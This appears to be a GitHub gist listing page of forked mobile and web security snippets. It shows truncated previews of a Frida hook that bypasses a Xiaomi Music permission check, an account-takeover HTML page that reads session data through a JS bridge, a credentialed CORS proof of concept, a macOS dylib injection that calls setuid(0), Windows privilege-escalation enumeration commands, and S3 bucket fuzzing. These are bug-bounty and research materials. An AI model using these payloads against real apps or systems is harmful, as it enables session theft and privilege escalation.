michaellcader’s gists

michaellcader / gist:1c0227326c0611d95849201801b2751e

Created December 29, 2022 12:36 — forked from webserveis/gist:c0d61834232fec7790a4a736813c7b75

Install and Uninstall Android applications with Intents

In android source code can get

<activity android:name=".PackageInstallerActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="content" />
        <data android:scheme="file" />

michaellcader / config.java

Created November 15, 2022 02:02 — forked from t4kemyh4nd/config.java

	private String config(Config config, boolean z) {
	if (z) {
	SecurityManager securityManager = new SecurityManager(config, this.mActivity.getApplicationContext());
	if (securityManager.isExpired() \|\| !securityManager.isValidSignature()) { // validation of the config object
	return new Response(202).toString();
	}
	}
	this.mFM = new FeatureManager(config, this.mActivity.getClassLoader());
	this.mPM = new PermissionManager(config);
	return new Response(0).toString();

michaellcader / frida.js

Created November 15, 2022 02:01 — forked from t4kemyh4nd/frida.js

	Java.perform(function() {
	console.log("Starting hook");

	var Activity = Java.use("com.xiaomi.music.hybrid.internal.PermissionManager");
	Activity.isValid.implementation = function () {
	return true;
	};

	Java.choose("com.xiaomi.music.hybrid.internal.Config", {
	onMatch: function(inst) {

michaellcader / ato.html

Created November 15, 2022 02:01 — forked from t4kemyh4nd/ato.html

	<html>
	<body>
	<script src='remote-server/jsBridge-mix.js'> //host the jsBridge-mix.js from resources directory
	JsBridge.invoke("get_session_data", {}, function(a) { //the a variable will contain the response JSON object from the Java code
	var i = {};
	i = a;
	window.alert(JSON.stringify(i);
	})
	</script>
	</body>

michaellcader / unwxapkg.py

Created September 8, 2022 06:41 — forked from Integ/unwxapkg.py

A useful tool for unpack wxapkg file with python3 surport.

	# coding: utf-8
	# py2 origin author lrdcq
	# usage python3 unwxapkg.py filename

	__author__ = 'Integ: https://github.com./integ'

	import sys, os
	import struct

	class WxapkgFile(object):

michaellcader / CORS.html

Created August 14, 2022 08:27

pocs

	# GET Method
	<script type="text/javascript">
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open("get","victim.com/getUserInfo",true);
	req.withCredentials = true;
	req.send();
	function reqListener(){alert(req.responseText);}
	</script>

michaellcader / windows_privesc

Created August 5, 2022 06:28 — forked from sckalath/windows_privesc

Windows Privilege Escalation

	// What system are we connected to?
	systeminfo \| findstr /B /C:"OS Name" /C:"OS Version"

	// Get the hostname and username (if available)
	hostname
	echo %username%

	// Get users
	net users
	net user [username]

michaellcader / inject.c

Created July 14, 2022 13:34 — forked from theevilbit/inject.c

DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX deep dive

	#include <stdio.h>
	#include <syslog.h>
	#include <stdlib.h>

	__attribute__((constructor))
	static void customConstructor(int argc, const char **argv)
	{
	setuid(0);
	system("id");
	printf("Hello from dylib!\n");

michaellcader / Drozer_command.md

Last active June 2, 2022 03:26 — forked from castexyz/drozer.md

[mobile]Drozer commands #bugbounty

Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

    * Starting a session
      * `adb forward tcp:31415 tcp:31415`
      * `drozer console connect`
      * `drozer console connect --server <ip>`
    * List modules
 * `ls`

michaellcader / ffuf to enumerate s3

Last active June 2, 2022 03:19 — forked from the-xentropy/gist:05ab1c5efd7ae7651b14e0fb85c6312c

[ffuf usage] Use wfuzz or ffuf to enumerate s3 #bugbounty

	#!/bin/bash

	Ffuf (faster):
	ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v


	Wfuzz:
	wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50

	The files:

MichaellCader michaellcader

In android source code can get

Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.